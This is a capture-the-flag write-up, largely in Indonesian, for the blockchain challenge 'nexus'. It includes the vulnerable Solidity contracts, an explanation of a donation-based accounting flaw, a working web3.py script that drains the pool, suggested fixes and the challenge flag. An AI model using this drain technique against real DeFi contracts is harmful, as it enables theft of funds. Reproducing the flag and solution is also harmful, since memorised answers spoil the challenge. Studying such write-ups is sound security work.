C2C QualificationBlockchain
nexus

description
Author: chovid99
The essence of nexus. Start challenge from: http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-nexus
Attachments
Setup.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Essence.sol";
import "./CrystalNexus.sol";
contract Setup {
Essence public essence;
CrystalNexus public nexus;
address public player;
uint256 public constant PLAYER_ESSENCE = 10000 ether;
uint256 public constant FIRST_ATTUNEMENT = 6000 ether;
uint256 public constant SECOND_ATTUNEMENT = 9000 ether;
uint256 public constant ASCENSION_THRESHOLD = 20250 ether;
bool public ritualsComplete;
constructor(address _player) {
player = _player;
essence = new Essence();
nexus = new CrystalNexus(address(essence));
essence.mint(player, PLAYER_ESSENCE);
}
function conductRituals() external {
require(!ritualsComplete, "Rituals already performed");
ritualsComplete = true;
essence.mint(address(this), FIRST_ATTUNEMENT + SECOND_ATTUNEMENT);
essence.approve(address(nexus), type(uint256).max);
nexus.attune(FIRST_ATTUNEMENT);
nexus.attune(SECOND_ATTUNEMENT);
}
function isSolved() external view returns (bool) {
return essence.balanceOf(player) > ASCENSION_THRESHOLD;
}
}Essence.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
contract Essence {
string public name = "Ethereal Essence";
string public symbol = "ESS";
uint8 public decimals = 18;
address nexus;
uint256 public totalSupply;
mapping(address => uint256) public balanceOf;
mapping(address => mapping(address => uint256)) public allowance;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
error Unauthorized();
constructor() {
nexus = msg.sender;
}
modifier auth() {
if (msg.sender != nexus) revert Unauthorized();
_;
}
function mint(address to, uint256 amount) auth external {
totalSupply += amount;
balanceOf[to] += amount;
emit Transfer(address(0), to, amount);
}
function approve(address spender, uint256 amount) external returns (bool) {
allowance[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transfer(address to, uint256 amount) external returns (bool) {
balanceOf[msg.sender] -= amount;
balanceOf[to] += amount;
emit Transfer(msg.sender, to, amount);
return true;
}
function transferFrom(address from, address to, uint256 amount) external returns (bool) {
allowance[from][msg.sender] -= amount;
balanceOf[from] -= amount;
balanceOf[to] += amount;
emit Transfer(from, to, amount);
return true;
}
}CrystalNexus.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;
import "./Essence.sol";
interface ICrystalReceiver {
function onCrystalReceived(address from, uint256 amount, uint256 crystals) external returns (bytes4);
}
contract CrystalNexus {
Essence public immutable essence;
uint256 public totalCrystals;
mapping(address => uint256) public crystalBalance;
mapping(address => bool) public attuned;
uint256 public constant BASE_FRICTION = 200;
uint256 public constant DYNAMIC_FRICTION = 2000;
uint256 public constant PRECISION = 10000;
uint256 public catalystReserve;
bool public resonanceActive;
address public guardian;
event Attunement(address indexed entity, uint256 essence, uint256 crystals);
event Dissolution(address indexed entity, uint256 crystals, uint256 essence);
event CatalystAdded(address indexed donor, uint256 amount);
event ResonancePulse(address indexed trigger, uint256 amplitude);
error NotAttuned();
error AlreadyAttuned();
error InsufficientCrystals();
error ResonanceUnstable();
error GuardianOnly();
constructor(address _essence) {
essence = Essence(_essence);
guardian = msg.sender;
}
function amplitude() public view returns (uint256) {
return essence.balanceOf(address(this)) - catalystReserve;
}
function crystalWorth(uint256 crystalAmount) public view returns (uint256) {
if (totalCrystals == 0) return crystalAmount;
return (crystalAmount * amplitude()) / totalCrystals;
}
function essenceTocrystal(uint256 essenceAmount) public view returns (uint256) {
uint256 amp = amplitude();
if (amp == 0 || totalCrystals == 0) return essenceAmount;
return (essenceAmount * totalCrystals) / amp;
}
function calculateFriction(address entity) public view returns (uint256) {
if (totalCrystals == 0) return BASE_FRICTION;
uint256 ownership = (crystalBalance[entity] * PRECISION) / totalCrystals;
uint256 dynamicPart = (ownership * ownership * DYNAMIC_FRICTION) / (PRECISION * PRECISION);
return BASE_FRICTION + dynamicPart;
}
function attune(uint256 essenceAmount) external returns (uint256 crystals) {
crystals = essenceTocrystal(essenceAmount);
essence.transferFrom(msg.sender, address(this), essenceAmount);
totalCrystals += crystals;
crystalBalance[msg.sender] += crystals;
attuned[msg.sender] = true;
if (_isContract(msg.sender)) {
try ICrystalReceiver(msg.sender).onCrystalReceived(
msg.sender,
essenceAmount,
crystals
) returns (bytes4 retval) {
require(retval == ICrystalReceiver.onCrystalReceived.selector, "Invalid receiver");
} catch {
// Contract doesn't implement callback, that's fine
}
}
emit Attunement(msg.sender, essenceAmount, crystals);
}
function dissolve(uint256 crystalAmount, address recipient) external returns (uint256 essenceOut) {
if (crystalBalance[msg.sender] < crystalAmount) revert InsufficientCrystals();
essenceOut = crystalWorth(crystalAmount);
uint256 friction = calculateFriction(msg.sender);
uint256 frictionAmount = (essenceOut * friction) / PRECISION;
essenceOut -= frictionAmount;
crystalBalance[msg.sender] -= crystalAmount;
totalCrystals -= crystalAmount;
essence.transfer(recipient, essenceOut);
emit Dissolution(msg.sender, crystalAmount, essenceOut);
}
function infuse(uint256 amount) external {
essence.transferFrom(msg.sender, address(this), amount);
catalystReserve += amount;
emit CatalystAdded(msg.sender, amount);
}
function activateResonance() external {
if (!attuned[msg.sender]) revert NotAttuned();
uint256 amp = amplitude();
if (amp < 1000 ether) revert ResonanceUnstable();
resonanceActive = true;
emit ResonancePulse(msg.sender, amp);
}
function claimCatalyst() external {
if (msg.sender != guardian) revert GuardianOnly();
if (resonanceActive) revert ResonanceUnstable();
uint256 amount = catalystReserve;
catalystReserve = 0;
essence.transfer(guardian, amount);
}
function harmonize(address target) external {
if (!resonanceActive) revert ResonanceUnstable();
if (!attuned[target]) revert NotAttuned();
uint256 targetCrystals = crystalBalance[target];
uint256 callerCrystals = crystalBalance[msg.sender];
if (callerCrystals <= targetCrystals) revert InsufficientCrystals();
uint256 transferAmount = targetCrystals / 10;
crystalBalance[target] -= transferAmount;
crystalBalance[msg.sender] += transferAmount;
}
function _isContract(address addr) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(addr) }
return size > 0;
}
}Overview
Ringkasan singkat
- Challenge Nexus adalah soal ekonomi / pool‑manipulation: tujuan pemain adalah menaikkan saldo
Essencedari10000menjadi > 20250 ESS (nilaiASCENSION_THRESHOLD) sehinggaSetup.isSolved()terpenuhi. ✅ - Intinya: inflate pool amplitude tanpa menambah totalCrystals, lalu redeem sedikit crystal untuk menarik banyak ESS.
Kontrak utama
Setup.sol— deploy token (Essence) danCrystalNexus, mint ESS ke pemain, dan jalankan ritual (attune besar oleh owner).Essence.sol— token ERC‑like (transfer sederhana, mint oleh Setup melaluiauth).CrystalNexus.sol— logika pool:attune(),dissolve(),amplitude(), perhitungancrystalWorth/essenceTocrystal, dan friction.
Mekanika penting (high‑level)
attune(essenceAmount)menukar ESS → crystals berdasarkanessenceTocrystal()(proporsional terhadaptotalCrystalsdanamplitude).dissolve(crystalAmount)mengembalikancrystalWorth()dikurangifriction(BASE_FRICTION + dynamic part berdasarkan ownership).amplitude()dihitung dariessence.balanceOf(address(this)) - catalystReserve— yaitu membaca langsung saldo token kontrak.- Karena kontrak membaca saldo token eksternal, transfer ESS langsung ke kontrak (tanpa
attune) menaikkan amplitude tanpa memperbesartotalCrystals.
Vulnerability — akar masalah (singkat)
- Desain tidak memproteksi terhadap transfer token langsung ke kontrak; attacker dapat meningkatkan
amplitude()tanpa menambahtotalCrystals. - Hasil: pemegang sedikit crystal bisa menebus share kecil untuk menerima proporsi besar dari cadangan ESS — economic drain.
Eksploit (ringkas)
attune(1)untuk membuat 1 crystal (share kecil).- Transfer hampir semua ESS pemain langsung ke
nexus(meningkatkanamplitude()tanpa menambahtotalCrystals). - Panggil
Setup.conductRituals()(owner attune besar → kondisi pool semakin menguntungkan attacker). dissolve()crystal kecil tadi → tarik jumlah ESS besar (setelah friction).- Ulangi attune/dissolve jika perlu sampai saldo pemain >
ASCENSION_THRESHOLD.
Mengapa ini menyelesaikan challenge
- Sequence memungkinkan pemain menguras cadangan ESS di
CrystalNexussehingga saldo pemain melewati 20250 ESS →isSolved()terpenuhi. 🎯
Perbaikan singkat yang disarankan
- Jangan pakai
essence.balanceOf(address(this))langsung sebagai sumber kebenaran; simpanreserveinternal dan perbarui hanya lewatattune/dissolve/infuseatau tambahkansync()untuk mendeteksi transfer eksternal. - Validasi bahwa hanya flow kontrak yang dapat mengubah
amplitude()atau adjusttotalCrystalsbila terjadi transfer eksternal. - Tambahkan unit test untuk skenario
transfer()langsung ke kontrak dan untuk regression pada perhitunganessenceTocrystal/crystalWorth.
Analisis Smart Contract
Tujuan & ringkasan logika
CrystalNexusadalah pool ekonomi yang menukarEssence↔crystalsdan menghitungamplitude()dari saldo ESS kontrak.- Tujuan exploit: meningkatnya
amplitude()(pool size) tanpa pertambahantotalCrystalssehingga pemilik sedikit crystal dapat menebus (dissolve) nilai yang tidak proporsional.
Variabel & fungsi penting
amplitude()— saat ini =essence.balanceOf(address(this)) - catalystReserve(mengandalkan saldo token eksternal).totalCrystals/crystalBalance— jumlah supply crystal dan kepemilikan.attune()— menambahtotalCrystalsdan memanggilessence.transferFrom(...).dissolve()— menghitungcrystalWorth()berdasarkanamplitude(), men-subtractfrictionlaluessence.transfer(recipient, net).infuse()— menambahcatalystReserve(separate dari amplitude).
Root cause (akar masalah)
- Pool bergantung pada
essence.balanceOf(address(this))untuk menghitung nilai per‑crystal. KarenaEssencemengizinkantransfer()langsung ke kontrak, attacker bisa mengirim ESS tanpa memodifikasitotalCrystals. - Hal ini menciptakan accounting mismatch: balance token naik tetapi
totalCrystalstetap sama →crystalWorth()danessenceTocrystal()menjadi sangat menguntungkan bagi pemegang crystal kecil. - Result: attacker dengan 1 crystal bisa menebus sebagian besar cadangan ESS (setelah friction) — economic drain.
Alur exploit (state transitions, singkat)
- Pemain
attune(1)→ dapat 1 crystal;totalCrystals == 1(atau kecil). - Pemain
transfer(nexus, almost_all_player_ESS)→essence.balanceOf(nexus)naik besar, sedangkantotalCrystalstidak berubah. - Owner menjalankan
conductRituals()→nexus.attune(...)menambah cadangan owner (memperbesar amplitude lebih jauh jika diperlukan). - Pemain
dissolve(1, player)→crystalWorth(1)dihitung dariamplitude()besar → player menerima jumlah ESS yang jauh lebih besar dari modal awal. - Ulangi jika perlu sampai
essence.balanceOf(player) > ASCENSION_THRESHOLD.
Mengapa exploit bekerja (intuitif)
- Pool menilai kristal terhadap saldo kontrak, bukan terhadap locked reserve internal. Direct token transfer memanipulasi harga tanpa mengubah supply crystal.
- Tidak ada mekanisme sinkronisasi / proteksi terhadap transfer langsung sehingga attacker dapat menyuntik amplitude gratis.
Dampak & severity
- Impact: attacker dapat mencuri sebagian besar cadangan ESS dari pool dan menaikkan saldo pemain melewati ambang solve. Severity: High (economic / logic flaw).
Langkah Penyelesaian
Step 0 — Akses RPC Node
- buka 'http://challenges.1pc.tf:50000/c2c2026-quals-blockchain-nexus'
- copy port nya dan buka url dengan port itu
http://challenges.1pc.tf:<PORT>/ - selesaikan PoW (solve in browser atau curl) untuk mendapatkan kredensial RPC node
- gunakan kredensial tersebut untuk koneksi RPC (contoh: Web3 HTTP provider)

Step 1 — Persiapan: dapatkan 1 crystal (attune minimal)
- panggil
essence.approve(nexus_addr, amount)jika diperlukan (solver.py sudah melakukanapprove). - panggil
nexus.attune(1)untuk membuat1crystal — ini memberi Anda share kecil di pool. - verifikasi:
nexus.crystalBalance(player) >= 1dannexus.totalCrystals >= 1.
Step 2 — Inflate amplitude (transfer langsung ESS ke kontrak)
- transfer hampir semua ESS Anda langsung ke
nexusmenggunakanessence.transfer(nexus_addr, balance - 1). - efek:
essence.balanceOf(nexus)naik drastis tetapitotalCrystalstetap rendah →amplitude()naik. - verifikasi:
nexus.amplitude()meningkat signifikan.
Step 3 — Jalankan ritual owner (reseed pool)
- panggil
setup.conductRituals()(owner) — akanattunejumlah besar dari kontrak ke pool. - tujuan: menambah cadangan di pool sehingga
crystalWorth(1)menjadi sangat besar. - verifikasi:
nexus.totalCrystalsdannexus.amplitude()berubah sesuai ekspektasi.
Step 4 — Drain pool (dissolve crystal kecil)
- panggil
nexus.dissolve(my_crystals, player)untuk menebus crystal yang Anda pegang (contoh:dissolve(1, player)). - hasil: Anda menerima
crystalWorth(1)dikurangi friction — karenaamplitudebesar, jumlah yang didapatkan jauh melebihi modal awal. - catatan: Phase 1 biasanya mengembalikan sebagian besar cadangan (script meninggalkan ~5.5k ESS menurut perhitungan friction di kode).
Step 5 — Reseed & drain sisa amplitude (ulang sekali lagi)
- ketika
totalCrystalsmenjadi 0, buat kembali1crystal (attune(1)) dan ulangidissolve(1)untuk menguras sisa amplitude. - verifikasi setelah tiap iterasi:
essence.balanceOf(player)bertambah drastis.
Step 6 — Verifikasi solve & ambil flag
- panggil
setup.isSolved()→ jikatrue, buka web launcher untuk melihat flag. - verifikasi akhir:
essence.balanceOf(player) > ASCENSION_THRESHOLD(20250 ETH dalam unit ESS).
Exploit Script (solver.py)
import os
from web3 import Web3
RPC_URL = "YOUR_RPC_URL"
PRIVKEY = "YOUR_PRIVATE_KEY"
SETUP_CONTRACT_ADDR = "SETUP_ADDRESS"
WALLET_ADDR = "YOUR_WALLET_ADDRESS"
w3 = Web3(Web3.HTTPProvider(RPC_URL))
account = w3.eth.account.from_key(PRIVKEY)
# ABI Minimal
setup_abi = [
{"inputs":[],"name":"essence","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"nexus","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"conductRituals","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"ritualsComplete","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}
]
nexus_abi = [
{"inputs":[{"internalType":"uint256","name":"essenceAmount","type":"uint256"}],"name":"attune","outputs":[{"internalType":"uint256","name":"crystals","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"crystalAmount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"dissolve","outputs":[{"internalType":"uint256","name":"essenceOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"crystalBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"totalCrystals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"amplitude","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}
]
essence_abi = [
{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]
essence_abi = [
{
"inputs":[{"internalType":"address","name":"spender","type":"address"},
{"internalType":"uint256","name":"amount","type":"uint256"}],
"name":"approve",
"outputs":[{"internalType":"bool","name":"","type":"bool"}],
"stateMutability":"nonpayable",
"type":"function"
},
{
"inputs":[{"internalType":"address","name":"to","type":"address"},
{"internalType":"uint256","name":"amount","type":"uint256"}],
"name":"transfer",
"outputs":[{"internalType":"bool","name":"","type":"bool"}],
"stateMutability":"nonpayable",
"type":"function"
},
{
"inputs":[{"internalType":"address","name":"account","type":"address"}],
"name":"balanceOf",
"outputs":[{"internalType":"uint256","name":"","type":"uint256"}],
"stateMutability":"view",
"type":"function"
}
]
setup_contract = w3.eth.contract(address=SETUP_CONTRACT_ADDR, abi=setup_abi)
nexus_addr = setup_contract.functions.nexus().call()
essence_addr = setup_contract.functions.essence().call()
nexus_contract = w3.eth.contract(address=nexus_addr, abi=nexus_abi)
essence_contract = w3.eth.contract(address=essence_addr, abi=essence_abi)
def send_tx(tx_func):
tx = tx_func.build_transaction({
'from': account.address,
'nonce': w3.eth.get_transaction_count(account.address),
'gasPrice': w3.eth.gas_price
})
signed = w3.eth.account.sign_transaction(tx, PRIVKEY)
res = w3.eth.send_raw_transaction(signed.raw_transaction)
return w3.eth.wait_for_transaction_receipt(res)
print(f"Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"Total Crystals: {nexus_contract.functions.totalCrystals().call()}")
# ===================== Before State =====================
print(f"{'='*30}\n[+] Before state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")
# ===================== Solver =====================
print(f"{'='*30}\n[+] Solver: \n{'='*30}")
print("[*] Approving Essence...")
send_tx(essence_contract.functions.approve(nexus_addr, 2**256-1))
print("[*] Attuning 1 wei...")
send_tx(nexus_contract.functions.attune(1))
print("[*] Direct transfer all ESS except 1 wei...")
balance = essence_contract.functions.balanceOf(account.address).call()
send_tx(essence_contract.functions.transfer(nexus_addr, balance - 1))
print("[*] Trigger ritual...")
send_tx(setup_contract.functions.conductRituals())
# Phase 1: drain (will leave ~5500 ESS due to 22% friction)
my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 1 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))
# Phase 2: reseed when totalCrystals == 0, then drain leftover amplitude
print("[*] Phase 2: attune 1 wei to recreate 1 crystal...")
send_tx(nexus_contract.functions.attune(1))
my_crystals = nexus_contract.functions.crystalBalance(account.address).call()
print(f"[*] Phase 2 dissolve {my_crystals} crystals...")
send_tx(nexus_contract.functions.dissolve(my_crystals, account.address))
# ===================== After State =====================
print(f"{'='*30}\n[+] After state: \n{'='*30}")
print(f"[*] Setup ritualsComplete: {setup_contract.functions.ritualsComplete().call()}")
print(f"[*] Player ESS balance: {essence_contract.functions.balanceOf(account.address).call() / 1e18} ETH")
print(f"[*] Nexus ESS balance: {essence_contract.functions.balanceOf(nexus_addr).call() / 1e18} ETH")
print(f"[*] Nexus Amplitude: {nexus_contract.functions.amplitude().call() / 1e18} ETH")
print(f"[*] Player Crystal balance: {nexus_contract.functions.crystalBalance(account.address).call()}")
print(f"[*] Total Crystals: {nexus_contract.functions.totalCrystals().call()}")
if setup_contract.functions.isSolved().call():
print("[+] Solved! Ambil flag di web.")
else:
print("[-] Gagal.")python3 solver.py

Script ini melakukan:
approve()ESS kenexus(approve unlimited dari player ke Nexus).attune(1)— buat 1 crystal (share kecil di pool).transfer(nexus, balance - 1)— transfer hampir semua ESS langsung ke kontrak untuk menaikkanamplitude()(accounting mismatch).conductRituals()(owner) — owner melakukan attune besar ke pool.dissolve(my_crystals, player)— redeem crystal pemain untuk 'drain' pool (Phase 1).attune(1)laludissolve(...)lagi — reseed + drain sisa amplitude (Phase 2).- Cek
setup.isSolved()dan status akhir (essence.balanceOf(player)> threshold).
setelah itu kita bisa get flag di blockchain laucher nya.

flag
C2C{the_essence_of_nexus_is_donation_hahahaha}